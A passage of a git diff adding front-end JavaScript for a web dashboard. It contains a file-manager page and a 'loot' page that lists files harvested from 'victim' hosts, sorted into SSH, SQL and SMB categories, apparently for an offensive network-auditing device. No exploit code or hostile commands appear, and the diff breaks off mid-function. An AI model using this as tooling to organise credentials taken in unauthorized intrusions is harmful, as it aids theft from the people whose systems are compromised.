'drop-zone' }, [ + L('files.dropzoneHint', 'Drag files or folders here or click to upload'), + ]), + ]), + + el('div', { class: 'db-status', id: 'files-status' }), + ]), + ]); +} + +function wireStaticEvents() { + const viewModeBtn = q('#viewModeBtn'); + const multiSelectBtn = q('#multiSelectBtn'); + const newFolderBtn = q('#newFolderBtn'); + const renameBtn = q('#renameBtn'); + const moveBtn = q('#moveBtn'); + const deleteBtn = q('#deleteBtn'); + const refreshBtn = q('#refreshBtn'); + const searchInput = q('#search-input'); + const clearBtn = q('#clear-button'); + const backBtn = q('#backBtn'); + const fileInput = q('#file-upload'); + const dropZone = q('#drop-zone'); + const list = q('#file-list'); + + if (viewModeBtn) tracker.trackEventListener(viewModeBtn, 'click', toggleView); + if (multiSelectBtn) tracker.trackEventListener(multiSelectBtn, 'click', toggleMultiSelect); + if (newFolderBtn) tracker.trackEventListener(newFolderBtn, 'click', createNewFolder); + if (renameBtn) tracker.trackEventListener(renameBtn, 'click', renameSelected); + if (moveBtn) tracker.trackEventListener(moveBtn, 'click', moveSelected); + if (deleteBtn) tracker.trackEventListener(deleteBtn, 'click', deleteSelectedItems); + if (refreshBtn) tracker.trackEventListener(refreshBtn, 'click', loadAllFiles); + if (searchInput) tracker.trackEventListener(searchInput, 'input', onSearchInput); + if (clearBtn) tracker.trackEventListener(clearBtn, 'click', clearSearch); + if (backBtn) tracker.trackEventListener(backBtn, 'click', navigateUp); + if (fileInput) tracker.trackEventListener(fileInput, 'change', handleFileUploadInput); + if (dropZone) { + tracker.trackEventListener(dropZone, 'click', () => fileInput?.click()); + tracker.trackEventListener(dropZone, 'dragover', onDropZoneDragOver); + tracker.trackEventListener(dropZone, 'dragleave', onDropZoneDragLeave); + tracker.trackEventListener(dropZone, 'drop', onDropZoneDrop); + } + if (list) tracker.trackEventListener(list, 'contextmenu', showEmptySpaceContextMenu); + + tracker.trackEventListener(document, 'click', () => removeContextMenu()); + tracker.trackEventListener(window, 'keydown', onKeyDown); + tracker.trackEventListener(window, 'i18n:changed', () => { + updateStaticI18n(); + renderCurrentFolder(); + }); +} + +function onKeyDown(e) { + if (e.key === 'Escape') { + removeContextMenu(); + closeMoveDialog(); + } +} + +function updateStaticI18n() { + const multiSelectBtn = q('#multiSelectBtn'); + const newFolderBtn = q('#newFolderBtn'); + const renameBtn = q('#renameBtn'); + const moveBtn = q('#moveBtn'); + const deleteBtn = q('#deleteBtn'); + const refreshBtn = q('#refreshBtn'); + const searchInput = q('#search-input'); + const backBtn = q('#backBtn'); + const dropZone = q('#drop-zone'); + + if (multiSelectBtn) multiSelectBtn.textContent = `\u229E ${isMultiSelectMode ? L('common.cancel', 'Cancel') : L('common.select', 'Select')}`; + if (newFolderBtn) newFolderBtn.textContent = `\u{1F4C1}+ ${L('common.new', 'New')} ${L('common.directory', 'folder')}`; + if (renameBtn) renameBtn.textContent = `\u270E ${L('common.rename', 'Rename')}`; + if (moveBtn) moveBtn.textContent = `\u2194 ${L('common.move', 'Move')}`; + if (deleteBtn) deleteBtn.textContent = `\u{1F5D1} ${L('common.delete', 'Delete')}`; + if (refreshBtn) refreshBtn.textContent = `\u21BB ${L('common.refresh', 'Refresh')}`; + if (searchInput) searchInput.placeholder = L('files.searchPlaceholder', 'Search files...'); + if (backBtn) backBtn.textContent = `\u2190 ${L('common.back', 'Back')}`; + if (dropZone) dropZone.textContent = L('files.dropzoneHint', 'Drag files or folders here or click to upload'); + updateViewModeButton(); +} + +async function loadAllFiles() { + setStatus(L('common.loading', 'Loading...')); + try { + const response = await fetch('/list_files'); + if (!response.ok) throw new Error(`HTTP ${response.status}`); + const data = await response.json(); + allFiles = Array.isArray(data) ? data : []; + absoluteBasePath = inferAbsoluteBasePath(allFiles) || '/home/bjorn'; + renderCurrentFolder(); + } catch (err) { + console.error(`[${PAGE}] loadAllFiles:`, err); + allFiles = []; + renderCurrentFolder(); + setStatus(L('files.failedLoadDir', 'Failed to load directory')); + } +} + +function inferAbsoluteBasePath(tree) { + let best = null; + + function walk(items, segs) { + if (!Array.isArray(items)) return; + for (const item of items) { + if (!item || typeof item !== 'object') continue; + const nextSegs = [...segs, item.name].filter(Boolean); + if (!item.is_directory && item.path && typeof item.path === 'string') { + const abs = item.path.replace(/\\/g, '/'); + const rel = nextSegs.join('/'); + if (rel && abs.endsWith('/' + rel)) { + best = abs.slice(0, abs.length - rel.length - 1); + } else { + best = abs.slice(0, abs.lastIndexOf('/')); + } + return; + } + if (item.is_directory && item.children) { + walk(item.children, nextSegs); + if (best) return; + } + } + } + + walk(tree, []); + return best; +} + +function renderCurrentFolder() { + const currentContent = findFolderContents(allFiles, currentPath); + const visibleItems = searchValue + ? filterAllFiles(allFiles, searchValue) + : decorateFolderItems(currentContent, currentPath); + displayFiles(visibleItems); + updateCurrentPathDisplay(); + updateButtonStates(); + setStatus(L('files.itemsCount', '{{count}} item(s)', { count: visibleItems.length })); +} + +function findFolderContents(data, path) { + if (!Array.isArray(data)) return []; + if (!path.length) return data; + + let current = data; + for (const folder of path) { + const found = current.find((item) => item?.is_directory && item.name === folder); + if (!found || !Array.isArray(found.children)) return []; + current = found.children; + } + return current; +} + +function decorateFolderItems(items, basePath) { + return (Array.isArray(items) ? items : []).map((item) => { + const relPath = [...basePath, item.name].filter(Boolean).join('/'); + const absPath = item.path || buildAbsolutePath(relPath); + return { + ...item, + _relPath: relPath, + _absPath: absPath, + _folderPath: item.is_directory ? relPath : basePath.join('/'), + _segments: item.is_directory ? [...basePath, item.name] : [...basePath], + }; + }); +} + +function filterAllFiles(items, rawNeedle, segs = []) { + const needle = String(rawNeedle || '').toLowerCase().trim(); + if (!needle) return []; + let out = []; + + for (const item of (Array.isArray(items) ? items : [])) { + if (!item || typeof item !== 'object') continue; + const relPath = [...segs, item.name].filter(Boolean).join('/'); + const absPath = item.path || buildAbsolutePath(relPath); + + if ((item.name || '').toLowerCase().includes(needle)) { + out.push({ + ...item, + _relPath: relPath, + _absPath: absPath, + _folderPath: item.is_directory ? relPath : segs.join('/'), + _segments: item.is_directory ? [...segs, item.name] : [...segs], + }); + } + + if (item.is_directory && Array.isArray(item.children)) { + out = out.concat(filterAllFiles(item.children, needle, [...segs, item.name])); + } + } + + return out; +} + +function displayFiles(items) { + const container = q('#file-list'); + if (!container) return; + + empty(container); + container.className = isGridView ? 'files-grid' : 'files-list'; + + const sorted = [...items].sort((a, b) => { + if (a.is_directory && !b.is_directory) return -1; + if (!a.is_directory && b.is_directory) return 1; + return String(a.name || '').localeCompare(String(b.name || ''), undefined, { numeric: true, sensitivity: 'base' }); + }); + + if (!sorted.length) { + container.appendChild(el('div', { class: 'item-meta', style: 'padding:16px' }, [L('files.noFiles', 'No files found')])); + return; + } + + for (const item of sorted) { + const relPath = item._relPath || ''; + const absPath = item._absPath || buildAbsolutePath(relPath); + const nodeClass = `${isGridView ? 'grid-item' : 'list-item'} ${item.is_directory ? 'folder' : 'file'}`; + const node = el('div', { class: nodeClass }); + node.dataset.path = relPath; + if (selectedItems.has(relPath)) node.classList.add('item-selected'); + + const icon = el('img', { + src: `/web/images/${item.is_directory ? 'mainfolder' : 'file'}.png`, + alt: item.is_directory ? L('common.directory', 'directory') : L('common.file', 'file'), + }); + tracker.trackEventListener(icon, 'error', () => { + icon.src = '/web/images/attack.png'; + }); + + const body = el('div', {}, [ + el('div', { class: 'item-name' }, [item.name || L('common.unknown', 'unknown')]), + el('div', { class: 'item-meta' }, [ + item.is_directory + ? L('common.directory', 'directory') + : formatBytes(Number(item.size) || 0), + ]), + ]); + node.append(icon, body); + + tracker.trackEventListener(node, 'click', (e) => { + e.preventDefault(); + e.stopPropagation(); + if (isMultiSelectMode) { + toggleItemSelection(node, { + name: item.name, + is_directory: !!item.is_directory, + relPath, + absPath, + size: item.size, + }); + return; + } + if (item.is_directory) { + currentPath = Array.isArray(item._segments) ? [...item._segments] : relPath.split('/').filter(Boolean); + renderCurrentFolder(); + } else { + window.location.href = `/download_file?path=${encodeURIComponent(relPath)}`; + } + }); + + tracker.trackEventListener(node, 'contextmenu', (e) => { + e.preventDefault(); + e.stopPropagation(); + showContextMenu(e, { + name: item.name, + is_directory: !!item.is_directory, + relPath, + absPath, + size: item.size, + }); + }); + + container.appendChild(node); + } +} + +function updateCurrentPathDisplay() { + const wrap = q('#currentPath'); + if (!wrap) return; + empty(wrap); + + const rootSeg = el('span', { class: 'path-segment' }, ['/']); + tracker.trackEventListener(rootSeg, 'click', () => { + currentPath = []; + renderCurrentFolder(); + }); + wrap.appendChild(rootSeg); + + currentPath.forEach((folder, idx) => { + const seg = el('span', { class: 'path-segment' }, [folder]); + tracker.trackEventListener(seg, 'click', () => { + currentPath = currentPath.slice(0, idx + 1); + renderCurrentFolder(); + }); + wrap.appendChild(seg); + }); +} + +function navigateUp() { + if (!currentPath.length) return; + currentPath.pop(); + renderCurrentFolder(); +} + +function toggleView() { + isGridView = !isGridView; + updateViewModeButton(); + renderCurrentFolder(); +} + +function onSearchInput(e) { + searchValue = String(e.target?.value || '').toLowerCase().trim(); + const clearBtn = q('#clear-button'); + if (clearBtn) clearBtn.classList.toggle('show', !!searchValue); + renderCurrentFolder(); +} + +function clearSearch() { + const input = q('#search-input'); + if (input) input.value = ''; + searchValue = ''; + const clearBtn = q('#clear-button'); + if (clearBtn) clearBtn.classList.remove('show'); + renderCurrentFolder(); +} + +function toggleMultiSelect() { + isMultiSelectMode = !isMultiSelectMode; + const explorer = q('.file-explorer'); + const btn = q('#multiSelectBtn'); + if (explorer) explorer.classList.toggle('multi-select-mode', isMultiSelectMode); + if (btn) btn.classList.toggle('active', isMultiSelectMode); + if (!isMultiSelectMode) clearSelection(); + updateButtonStates(); + updateStaticI18n(); +} + +function toggleItemSelection(node, item) { + if (!isMultiSelectMode) return; + const key = item.relPath; + if (selectedItems.has(key)) { + selectedItems.delete(key); + node.classList.remove('item-selected'); + } else { + selectedItems.set(key, item); + node.classList.add('item-selected'); + } + updateButtonStates(); +} + +function clearSelection() { + selectedItems.clear(); + q('#file-list')?.querySelectorAll('.grid-item, .list-item').forEach((n) => n.classList.remove('item-selected')); + updateButtonStates(); +} + +function updateButtonStates() { + const n = selectedItems.size; + const renameBtn = q('#renameBtn'); + const moveBtn = q('#moveBtn'); + const deleteBtn = q('#deleteBtn'); + const newFolderBtn = q('#newFolderBtn'); + + if (renameBtn) { + renameBtn.style.display = isMultiSelectMode && n === 1 ? 'inline-flex' : 'none'; + renameBtn.disabled = !(isMultiSelectMode && n === 1); + } + if (moveBtn) { + moveBtn.style.display = isMultiSelectMode && n > 0 ? 'inline-flex' : 'none'; + moveBtn.disabled = !(isMultiSelectMode && n > 0); + } + if (deleteBtn) { + deleteBtn.style.display = isMultiSelectMode ? 'inline-flex' : 'none'; + deleteBtn.disabled = n === 0; + deleteBtn.textContent = `\u{1F5D1} ${L('common.delete', 'Delete')}${n > 0 ? ` (${n})` : ''}`; + } + if (newFolderBtn) { + newFolderBtn.style.display = isMultiSelectMode ? 'none' : 'inline-flex'; + } +} + +function showEmptySpaceContextMenu(event) { + if (event.target !== q('#file-list')) return; + event.preventDefault(); + removeContextMenu(); + + const menu = createContextMenu(event.clientX, event.clientY); + const newFolder = el('div', {}, [`${L('common.new', 'New')} ${L('common.directory', 'Folder')}`]); + tracker.trackEventListener(newFolder, 'click', async () => { + removeContextMenu(); + await createNewFolder(); + }); + menu.appendChild(newFolder); + openContextMenu(menu); +} + +function showContextMenu(event, item) { + removeContextMenu(); + const menu = createContextMenu(event.clientX, event.clientY); + + const rename = el('div', {}, [L('common.rename', 'Rename')]); + const duplicate = el('div', {}, [L('common.duplicate', 'Duplicate')]); + const move = el('div', {}, [t('files.moveTo')]); + const del = el('div', {}, [L('common.delete', 'Delete')]); + + tracker.trackEventListener(rename, 'click', async () => { + removeContextMenu(); + await renameItem(item); + }); + tracker.trackEventListener(duplicate, 'click', async () => { + removeContextMenu(); + await duplicateItem(item); + }); + tracker.trackEventListener(move, 'click', async () => { + removeContextMenu(); + await showMoveToDialog([item]); + }); + tracker.trackEventListener(del, 'click', async () => { + removeContextMenu(); + await deleteItems([item], true); + }); + + menu.append(rename, duplicate, move, del); + openContextMenu(menu); +} + +function createContextMenu(x, y) { + const menu = el('div', { class: 'context-menu' }); + menu.style.position = 'fixed'; + menu.style.left = `${x}px`; + menu.style.top = `${y}px`; + return menu; +} + +function openContextMenu(menu) { + const host = root || document.body; + host.appendChild(menu); + contextMenuEl = menu; +} + +function removeContextMenu() { + if (contextMenuEl && contextMenuEl.parentElement) { + contextMenuEl.parentElement.removeChild(contextMenuEl); + } + contextMenuEl = null; +} + +async function renameSelected() { + if (selectedItems.size !== 1) return; + const item = Array.from(selectedItems.values())[0]; + await renameItem(item); +} + +async function moveSelected() { + if (!selectedItems.size) return; + await showMoveToDialog(Array.from(selectedItems.values())); +} + +async function createNewFolder() { + const folderName = prompt(`${L('common.new', 'New')} ${L('common.directory', 'folder')}:`, 'New Folder'); + if (!folderName) return; + const rel = buildRelativePath(folderName); + try { + const resp = await fetch('/create_folder', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ folder_path: rel }), + }); + const data = await resp.json(); + if (data.status !== 'success') throw new Error(data.message || 'Failed'); + await loadAllFiles(); + toast(L('common.success', 'Success'), 1600, 'success'); + } catch (err) { + toast(`${L('common.error', 'Error')}: ${err.message}`, 2800, 'error'); + } +} + +async function renameItem(item) { + const newName = prompt(L('files.newNamePrompt', 'New name:'), item.name); + if (!newName || newName === item.name) return; + + const parent = item.relPath.split('/').slice(0, -1).join('/'); + const newPath = parent ? `${parent}/${newName}` : newName; + + try { + const resp = await fetch('/rename_file', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ old_path: item.relPath, new_path: newPath }), + }); + const data = await resp.json(); + if (data.status !== 'success') throw new Error(data.message || 'Failed'); + await loadAllFiles(); + clearSelection(); + toast(L('files.renamed', 'Renamed'), 1600, 'success'); + } catch (err) { + toast(`${L('files.renameFailed', 'Rename failed')}: ${err.message}`, 3200, 'error'); + } +} + +async function duplicateItem(item) { + const dot = item.name.lastIndexOf('.'); + const base = dot > 0 ? item.name.slice(0, dot) : item.name; + const ext = dot > 0 ? item.name.slice(dot) : ''; + const newName = `${base} (copy)${ext}`; + const parent = item.relPath.split('/').slice(0, -1).join('/'); + const targetPath = parent ? `${parent}/${newName}` : newName; + + try { + const resp = await fetch('/duplicate_file', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ source_path: item.relPath, target_path: targetPath }), + }); + const data = await resp.json(); + if (data.status !== 'success') throw new Error(data.message || 'Failed'); + await loadAllFiles(); + toast(L('files.duplicated', 'Duplicated'), 1600, 'success'); + } catch (err) { + toast(`${L('files.duplicateFailed', 'Duplicate failed')}: ${err.message}`, 3200, 'error'); + } +} + +async function deleteSelectedItems() { + if (!selectedItems.size) return; + await deleteItems(Array.from(selectedItems.values()), true); +} + +async function deleteItems(items, askConfirm) { + if (!Array.isArray(items) || !items.length) return; + if (askConfirm) { + if (items.length === 1) { + const one = items[0]; + const label = one.is_directory ? L('common.directory', 'directory') : L('common.file', 'file'); + if (!confirm(L('files.confirmDelete', `Delete ${label} "${one.name}"?`, { label, name: one.name }))) return; + } else { + if (!confirm(L('files.confirmDeleteMany', 'Delete {{count}} item(s)?', { count: items.length }))) return; + } + } + + const errors = []; + for (const item of items) { + const absPath = item.absPath || buildAbsolutePath(item.relPath); + let ok = false; + try { + const r1 = await fetch('/delete_file', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ file_path: absPath }), + }); + const d1 = await r1.json(); + ok = d1.status === 'success'; + } catch { + ok = false; + } + if (!ok) { + try { + const r2 = await fetch('/delete_file', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ file_path: item.relPath }), + }); + const d2 = await r2.json(); + ok = d2.status === 'success'; + } catch { + ok = false; + } + } + if (!ok) errors.push(item.name); + } + + await loadAllFiles(); + clearSelection(); + if (isMultiSelectMode) toggleMultiSelect(); + if (errors.length) toast(`${L('common.error', 'Error')}: ${errors.join(', ')}`, 3800, 'error'); + else toast(L('common.deleted', 'Deleted'), 1600, 'success'); +} + +async function showMoveToDialog(items) { + closeMoveDialog(); + selectedTargetPath = null; + + moveModalEl = el('div', { class: 'modal' }, [ + el('div', { class: 'modal-content' }, [ + el('h2', {}, [L('files.moveToTitle', 'Move {{count}} item(s) to...', { count: items.length })]), + el('div', { id: 'folder-tree' }), + el('div', { class: 'modal-buttons' }, [ + el('button', { id: 'cancelMoveBtn' }, [L('common.cancel', 'Cancel')]), + el('button', { class: 'primary', id: 'confirmMoveBtn' }, [L('common.move', 'Move')]), + ]), + ]), + ]); + + (root || document.body).appendChild(moveModalEl); + + const cancelBtn = $('#cancelMoveBtn', moveModalEl); + const confirmBtn = $('#confirmMoveBtn', moveModalEl); + + if (cancelBtn) tracker.trackEventListener(cancelBtn, 'click', closeMoveDialog); + if (confirmBtn) tracker.trackEventListener(confirmBtn, 'click', () => processMove(items)); + tracker.trackEventListener(moveModalEl, 'click', (e) => { + if (e.target === moveModalEl) closeMoveDialog(); + }); + + await loadFolderTree(); +} + +function closeMoveDialog() { + selectedTargetPath = null; + if (moveModalEl && moveModalEl.parentElement) { + moveModalEl.parentElement.removeChild(moveModalEl); + } + moveModalEl = null; +} + +async function loadFolderTree() { + if (!moveModalEl) return; + const treeWrap = $('#folder-tree', moveModalEl); + if (!treeWrap) return; + empty(treeWrap); + + try { + const resp = await fetch('/list_directories'); + if (!resp.ok) throw new Error(`HTTP ${resp.status}`); + const dirs = await resp.json(); + + const rootItem = el('div', { class: 'folder-item', 'data-path': '' }, ['/', ' ', L('files.root', 'Root')]); + treeWrap.appendChild(rootItem); + bindFolderItem(rootItem); + renderDirectoryTree(treeWrap, dirs, 1); + } catch (err) { + treeWrap.appendChild(el('div', { class: 'item-meta' }, [`${L('common.error', 'Error')}: ${err.message}`])); + } +} + +function renderDirectoryTree(container, dirs, level) { + for (const dir of (Array.isArray(dirs) ? dirs : [])) { + if (!dir.is_directory) continue; + const row = el('div', { + class: 'folder-item', + 'data-path': dir.path || '', + style: `padding-left:${level * 16}px`, + }, ['\u{1F4C1} ', dir.name || 'folder']); + container.appendChild(row); + bindFolderItem(row); + if (Array.isArray(dir.children) && dir.children.length) { + renderDirectoryTree(container, dir.children, level + 1); + } + } +} + +function bindFolderItem(node) { + tracker.trackEventListener(node, 'click', (e) => { + e.preventDefault(); + e.stopPropagation(); + q('#folder-tree')?.querySelectorAll('.folder-item.selected').forEach((n) => n.classList.remove('selected')); + node.classList.add('selected'); + selectedTargetPath = node.getAttribute('data-path') || ''; + }); +} + +async function processMove(items) { + if (selectedTargetPath == null) { + toast(L('files.selectDestinationFolder', 'Select a destination folder'), 2200, 'warning'); + return; + } + const errors = []; + + for (const item of items) { + const targetPath = selectedTargetPath ? `${selectedTargetPath}/${item.name}` : item.name; + try { + const resp = await fetch('/move_file', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ source_path: item.relPath, target_path: targetPath }), + }); + const data = await resp.json(); + if (data.status !== 'success') errors.push(item.name); + } catch { + errors.push(item.name); + } + } + + closeMoveDialog(); + await loadAllFiles(); + clearSelection(); + if (errors.length) toast(`${L('common.error', 'Error')}: ${errors.join(', ')}`, 3600, 'error'); + else toast(L('files.moved', 'Moved'), 1600, 'success'); +} + +function updateViewModeButton() { + const viewModeBtn = q('#viewModeBtn'); + if (!viewModeBtn) return; + if (isGridView) { + viewModeBtn.textContent = '\u2630'; + viewModeBtn.title = L('files.switchToList', 'Switch to list view'); + } else { + viewModeBtn.textContent = '\u25A6'; + viewModeBtn.title = L('files.switchToGrid', 'Switch to grid view'); + } +} + +async function handleFileUploadInput(event) { + const files = event.target?.files; + if (!files || !files.length) return; + await handleFiles(files); + event.target.value = ''; +} + +async function handleFiles(fileList) { + const files = Array.from(fileList || []); + if (!files.length) return; + + const formData = new FormData(); + files.forEach((file) => { + const relativeName = file.webkitRelativePath || file.name; + formData.append('files[]', file, relativeName); + }); + formData.append('currentPath', JSON.stringify(currentPath)); + + setStatus(L('files.uploadingCount', 'Uploading {{count}} file(s)...', { count: files.length })); + try { + const resp = await fetch('/upload_files', { method: 'POST', body: formData }); + const data = await resp.json(); + if (data.status !== 'success') throw new Error(data.message || 'Upload failed'); + await loadAllFiles(); + toast(L('files.uploadComplete', 'Upload complete'), 1800, 'success'); + } catch (err) { + toast(`${L('files.uploadFailed', 'Upload failed')}: ${err.message}`, 3000, 'error'); + setStatus(L('files.uploadFailed', 'Upload failed')); + } +} + +function onDropZoneDragOver(e) { + e.preventDefault(); + q('#drop-zone')?.classList.add('dragover'); +} + +function onDropZoneDragLeave() { + q('#drop-zone')?.classList.remove('dragover'); +} + +async function onDropZoneDrop(e) { + e.preventDefault(); + q('#drop-zone')?.classList.remove('dragover'); + const dt = e.dataTransfer; + if (!dt) return; + + if (dt.items && dt.items.length && dt.items[0]?.webkitGetAsEntry) { + const files = await collectDroppedFiles(dt.items); + if (files.length) await handleFiles(files); + return; + } + if (dt.files && dt.files.length) await handleFiles(dt.files); +} + +async function collectDroppedFiles(items) { + const files = []; + const entries = Array.from(items).map((i) => i.webkitGetAsEntry?.()).filter(Boolean); + + async function walk(entry, path = '') { + if (entry.isFile) { + const file = await new Promise((resolve) => entry.file(resolve)); + Object.defineProperty(file, 'webkitRelativePath', { value: path + entry.name, configurable: true }); + files.push(file); + return; + } + if (!entry.isDirectory) return; + + const reader = entry.createReader(); + const children = await new Promise((resolve) => { + const acc = []; + function read() { + reader.readEntries((batch) => { + if (batch.length) { + acc.push(...batch); + read(); + } else { + resolve(acc); + } + }); + } + read(); + }); + const next = path + entry.name + '/'; + for (const child of children) { + // eslint-disable-next-line no-await-in-loop + await walk(child, next); + } + } + + for (const entry of entries) { + // eslint-disable-next-line no-await-in-loop + await walk(entry); + } + return files; +} + +function buildRelativePath(fileName) { + return [...currentPath, fileName].filter(Boolean).join('/'); +} + +function buildAbsolutePath(relPath) { + const cleanRel = String(relPath || '').replace(/^\/+/, '').replace(/\\/g, '/'); + if (!cleanRel) return absoluteBasePath; + return `${absoluteBasePath.replace(/\/+$/, '')}/${cleanRel}`; +} + +function formatBytes(bytes, decimals = 1) { + const n = Number(bytes) || 0; + if (n <= 0) return '0 B'; + const k = 1024; + const dm = decimals < 0 ? 0 : decimals; + const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; + const i = Math.floor(Math.log(n) / Math.log(k)); + return `${parseFloat((n / Math.pow(k, i)).toFixed(dm))} ${sizes[i]}`; +} + +function setStatus(msg) { + const status = q('#files-status'); + if (status) status.textContent = String(msg || ''); +} diff --git a/web/js/pages/loot.js b/web/js/pages/loot.js new file mode 100644 index 0000000..6dd06f8 --- /dev/null +++ b/web/js/pages/loot.js @@ -0,0 +1,556 @@ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api } from '../core/api.js'; +import { el, $, $$, empty } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE = 'loot'; +const MAC_IP_RE = /^[0-9a-f:]{17}_\d+\.\d+\.\d+\.\d+$/i; + +let tracker = null; +let root = null; +let fileData = []; +let allFiles = []; +let currentView = 'tree'; +let currentCategory = 'all'; +let currentSort = 'name'; +let sortDirection = 'asc'; +let searchTerm = ''; +let searchTimer = null; + +const FILE_ICONS = { + ssh: '🔐', + sql: '🗄️', + smb: '🌐', + other: '📄', +}; + +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + root = buildShell(); + container.appendChild(root); + bindEvents(); + await loadFiles(); +} + +export function unmount() { + if (searchTimer) { + clearTimeout(searchTimer); + searchTimer = null; + } + if (tracker) { + tracker.cleanupAll(); + tracker = null; + } + root = null; + fileData = []; + allFiles = []; + currentView = 'tree'; + currentCategory = 'all'; + currentSort = 'name'; + sortDirection = 'asc'; + searchTerm = ''; +} + +function buildShell() { + return el('div', { class: 'loot-container' }, [ + el('div', { class: 'stats-bar' }, [ + statItem('👥', 'stat-victims', t('common.host')), + statItem('📄', 'stat-files', t('loot.totalFiles')), + statItem('📁', 'stat-folders', t('loot.directories')), + ]), + + el('div', { class: 'controls-bar' }, [ + el('div', { class: 'search-container' }, [ + el('span', { class: 'search-icon' }, ['🔍']), + el('input', { + type: 'text', + class: 'search-input', + id: 'searchInput', + placeholder: `${t('common.search')}...`, + }), + el('span', { class: 'clear-search', id: 'clearSearch' }, ['✖']), + ]), + el('div', { class: 'view-controls' }, [ + el('button', { class: 'view-btn active', id: 'treeViewBtn', title: 'Tree View', type: 'button' }, ['🌳']), + el('button', { class: 'view-btn', id: 'listViewBtn', title: t('common.list'), type: 'button' }, ['📋']), + el('div', { class: 'sort-dropdown', id: 'sortDropdown' }, [ + el('button', { class: 'sort-btn', id: 'sortBtn', type: 'button', title: t('common.sortBy') }, ['⬇️']), + el('div', { class: 'sort-menu' }, [ + sortOption('name', t('common.name'), true), + sortOption('type', t('common.type')), + sortOption('date', t('common.date')), + sortOption('asc', t('common.ascending')), + sortOption('desc', t('common.descending')), + ]), + ]), + ]), + ]), + + el('div', { class: 'tabs-container', id: 'tabsContainer' }), + + el('div', { class: 'explorer' }, [ + el('div', { class: 'explorer-content', id: 'explorerContent' }, [ + el('div', { class: 'loading' }, [ + el('div', { class: 'loading-spinner' }), + ]), + ]), + ]), + ]); +} + +function statItem(icon, id, label) { + return el('div', { class: 'stat-item' }, [ + el('span', { class: 'stat-icon' }, [icon]), + el('span', { class: 'stat-value', id }, ['0']), + el('span', { class: 'stat-label' }, [label]), + ]); +} + +function sortOption(value, label, active = false) { + return el('div', { + class: `sort-option${active ? ' active' : ''}`, + 'data-sort': value, + role: 'button', + tabindex: '0', + }, [label]); +} + +function bindEvents() { + const searchInput = $('#searchInput', root); + const clearBtn = $('#clearSearch', root); + const treeBtn = $('#treeViewBtn', root); + const listBtn = $('#listViewBtn', root); + const sortDropdown = $('#sortDropdown', root); + const sortBtn = $('#sortBtn', root); + + if (searchInput) { + tracker.trackEventListener(searchInput, 'input', (e) => { + if (searchTimer) clearTimeout(searchTimer); + searchTimer = setTimeout(() => { + searchTerm = String(e.target.value || '').toLowerCase().trim(); + renderContent(true); + }, 300); + }); + } + + if (clearBtn) { + tracker.trackEventListener(clearBtn, 'click', () => { + if (searchInput) searchInput.value = ''; + searchTerm = ''; + renderContent(); + }); + } + + if (treeBtn) tracker.trackEventListener(treeBtn, 'click', () => setView('tree')); + if (listBtn) tracker.trackEventListener(listBtn, 'click', () => setView('list')); + + if (sortBtn && sortDropdown) { + tracker.trackEventListener(sortBtn, 'click', () => { + sortDropdown.classList.toggle('active'); + }); + } + + $$('.sort-option', root).forEach((option) => { + tracker.trackEventListener(option, 'click', () => onSortOption(option)); + tracker.trackEventListener(option, 'keydown', (e) => { + if (e.key === 'Enter' || e.key === ' ') { + e.preventDefault(); + onSortOption(option); + } + }); + }); + + tracker.trackEventListener(document, 'click', (e) => { + const dropdown = $('#sortDropdown', root); + if (dropdown && !dropdown.contains(e.target)) { + dropdown.classList.remove('active'); + } + }); +} + +function onSortOption(option) { + $$('.sort-option', root).forEach((opt) => opt.classList.remove('active')); + option.classList.add('active'); + + const value = option.dataset.sort; + if (value === 'asc' || value === 'desc') { + sortDirection = value; + } else { + currentSort = value; + } + + $('#sortDropdown', root)?.classList.remove('active'); + renderContent(); +} + +function setView(view) { + currentView = view; + $$('.view-btn', root).forEach((btn) => btn.classList.remove('active')); + $(`#${view}ViewBtn`, root)?.classList.add('active'); + renderContent(); +} + +async function loadFiles() { + try { + const data = await api.get('/loot_directories', { timeout: 15000 }); + if (!data || data.status !== 'success' || !Array.isArray(data.data)) { + throw new Error('Invalid response'); + } + + fileData = data.data; + processFiles(); + updateStats(); + renderContent(); + } catch (err) { + const explorer = $('#explorerContent', root); + if (!explorer) return; + empty(explorer); + explorer.appendChild(noResults('⚠️', `${t('common.error')}: ${t('common.noData')}`)); + } +} + +function processFiles() { + allFiles = []; + const stats = {}; + + function extractFiles(items, path = '') { + for (const item of items || []) { + if (item.type === 'directory' && Array.isArray(item.children)) { + extractFiles(item.children, `${path}${item.name}/`); + } else if (item.type === 'file') { + const category = getFileCategory(item.name, path); + const fullPath = `${path}${item.name}`; + allFiles.push({ + ...item, + category, + fullPath, + path: item.path || fullPath, + }); + stats[category] = (stats[category] || 0) + 1; + } + } + } + + extractFiles(fileData); + renderTabs(Object.keys(stats)); + + const allBadge = $('#badge-all', root); + if (allBadge) allBadge.textContent = String(allFiles.length); + + for (const cat of Object.keys(stats)) { + const badge = $(`#badge-${cat}`, root); + if (badge) badge.textContent = String(stats[cat]); + } +} + +function getFileCategory(filename, path) { + const lowerName = String(filename || '').toLowerCase(); + const lowerPath = String(path || '').toLowerCase(); + + if (lowerPath.includes('ssh') || lowerName.includes('ssh') || lowerName.includes('key')) return 'ssh'; + if (lowerPath.includes('sql') || lowerName.includes('sql') || lowerName.includes('database')) return 'sql'; + if (lowerPath.includes('smb') || lowerName.includes('smb') || lowerName.includes('share')) return 'smb'; + return 'other'; +} + +function getDirCategory(path) { + const lowerPath = String(path || '').toLowerCase(); + if (lowerPath.includes('ssh')) return 'ssh'; + if (lowerPath.includes('sql')) return 'sql'; + if (lowerPath.includes('smb')) return 'smb'; + return 'other'; +} + +function updateStats() { + const victims = new Set(); + let totalFiles = 0; + let totalFolders = 0; + + function scan(items) { + for (const item of items || []) { + if (item.type === 'directory') { + totalFolders += 1; + if (MAC_IP_RE.test(String(item.name || ''))) victims.add(item.name); + if (Array.isArray(item.children)) scan(item.children); + } else if (item.type === 'file') { + totalFiles += 1; + } + } + } + + scan(fileData); + + 